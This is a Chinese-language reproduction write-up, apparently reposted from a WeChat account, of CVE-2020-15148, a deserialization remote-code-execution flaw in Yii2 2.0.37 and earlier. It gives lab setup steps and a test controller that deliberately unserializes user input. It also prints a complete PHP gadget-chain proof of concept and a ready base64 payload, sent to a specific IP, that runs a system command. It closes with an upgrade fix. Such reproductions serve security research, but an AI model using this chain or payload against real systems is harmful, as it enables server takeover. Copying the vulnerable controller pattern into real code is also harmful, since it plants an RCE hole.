Yii Framework是一款高性能的PHP框架,用于开发Web2.0应用程序,具有快速、安全和高效等特点,是目前最流行的PHP开发框架之一。在Yii2 2.0.37及之前的版本中,存在反序列化漏洞,当攻击者可以控制unserialize的值时,通过构造恶意的序列化数据并传入即可进行远程代码执行。
Yii2 Framework <= 2.0.37
首先需要下载一个phpstudy并安装
https://www.xp.cn/download.html
下载yii2 Framework 2.0.37版本
https://github.com/yiisoft/yii2/releases/tag/2.0.37
将解压后得到的basic文件夹放置到phpstudy的WWW目录下
启动前需要修改basicconfigweb.php文件中cookieValidationKey的值为任意值,否则启动会报错,此处设置为1
启动phpstudy,使用浏览器访问http://ip:80/basic/web/index.php,如出现如下界面则证明Yii2 Framework 2.0.37环境搭建成功
namespace appcontrollers;
use Yii;
use yiiwebController;
class TestController extends Controller{
public function actionTest(){
$name = Yii::$app->request->get('unserialize');
return unserialize(base64_decode($name));
}
}
http://ip:80/basic/web/index.php?r=test/test&unserialize=czo0OiJ0ZXN0Ijs%3d
若返回test则证明上述构建的存在漏洞的测试action运行正常
创建一个poc.php,生成可利用的序列化数据,内容如下
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yiirestCreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yiidb{
use FakerGenerator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yiidbBatchQueryResult));
}
将poc.php文件放置到phpstudy的WWW目录下,使用浏览器访问http://ip:80/poc.php,即可获得经过base64编码的序列化payload数据
将序列化数据拼接并发包
http://150.158.181.147/basic/web/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
可以看到反序列化漏洞利用成功,成功执行了whoami命令并回显
将Yii2 Framework升级到2.0.38及之后的版本
原文始发于微信公众号(第59号):CVE-2020-15148 Yii框架反序列化漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论